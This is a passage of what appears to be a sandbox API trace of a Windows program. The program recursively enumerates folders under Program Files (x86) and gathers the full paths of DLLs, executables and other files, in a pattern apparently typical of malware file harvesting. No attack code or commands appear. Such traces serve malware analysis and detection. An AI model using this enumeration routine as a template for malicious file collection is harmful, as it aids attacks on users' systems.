(x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="OfficeSoftwareProtectionPlatform") returned 32 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="Stationery", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="Stationery", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="Stationery") returned 10 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="TextConv", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="TextConv", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="TextConv") returned 8 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="TextConv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\TextConv" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="Triedit", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="Triedit", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="Triedit") returned 7 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Triedit" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="VC", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="VC", lpString2="..") returned 1 [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.803] lstrlenW (lpString="VC") returned 2 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VC" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VC" [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="VGX", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="VGX", lpString2="..") returned 1 [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.803] lstrlenW (lpString="VGX") returned 3 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VGX" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX" [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="VSTA", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="VSTA", lpString2="..") returned 1 [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.803] lstrlenW (lpString="VSTA") returned 4 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTA" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA" [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="VSTO", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="VSTO", lpString2="..") returned 1 [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.803] lstrlenW (lpString="VSTO") returned 4 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="VSTO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.803] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.803] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.803] lstrcmpW (lpString1="Services", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="Services", lpString2="..") returned 1 [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.803] lstrlenW (lpString="Services") returned 8 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Services" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services") returned="c:\\Program Files (x86)\\Common Files\\Services" [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0029.803] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0029.803] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0029.803] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.803] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.803] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.803] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.803] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0029.804] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0029.804] lstrlenW (lpString="verisign.bmp") returned 12 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0029.804] lstrcpyW (in: lpString1=0x26f8b0, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0029.804] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.804] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.804] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.804] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0029.804] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.804] lstrlenW (lpString="SpeechEngines") returned 13 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0029.804] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.804] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.804] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.804] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.804] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.804] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.804] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0029.804] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0029.804] lstrlenW (lpString="Microsoft") returned 9 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0029.804] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.804] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.804] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.804] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0029.804] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.804] lstrlenW (lpString="System") returned 6 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0029.804] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.804] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0029.804] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="ado") returned 3 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="DirectDB.dll") returned 12 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0029.805] lstrcpyW (in: lpString1=0x4602b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="en-US") returned 5 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="msadc") returned 5 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="Ole DB") returned 6 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="wab32.dll") returned 9 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0029.805] lstrcpyW (in: lpString1=0x460330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0029.805] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.805] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0029.805] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0029.805] lstrlenW (lpString="wab32res.dll") returned 12 [0029.805] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0029.805] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0029.805] lstrcpyW (in: lpString1=0x4603a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0029.806] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.806] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.806] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.806] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.806] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.806] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0029.806] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0029.806] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.806] lstrlenW (lpString="desktop.ini") returned 11 [0029.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0029.806] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0029.806] lstrcpyW (in: lpString1=0x26f930, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0029.806] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.806] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0029.806] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0029.806] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.806] lstrlenW (lpString="Google") returned 6 [0029.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0029.806] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0029.817] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0029.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0029.818] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.818] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.818] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.818] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0029.818] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0029.818] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0029.818] lstrlenW (lpString="Chrome") returned 6 [0029.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0029.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0029.818] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0029.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0029.818] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.818] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.818] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.818] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0029.818] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0029.818] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0029.818] lstrlenW (lpString="Application") returned 11 [0029.818] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0029.818] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.818] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.818] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.818] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0029.818] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0029.818] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0029.818] lstrlenW (lpString="CrashReports") returned 12 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0029.819] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0xffffffff [0029.819] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.819] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.819] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.819] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0029.819] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.819] lstrlenW (lpString="Internet Explorer") returned 17 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0029.819] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.819] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.819] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.819] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.819] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.819] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.819] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0029.819] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.819] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0029.819] lstrcpyW (in: lpString1=0x26f980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0029.819] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.819] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0029.819] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0029.819] lstrlenW (lpString="en-US") returned 5 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0029.819] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0029.819] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet 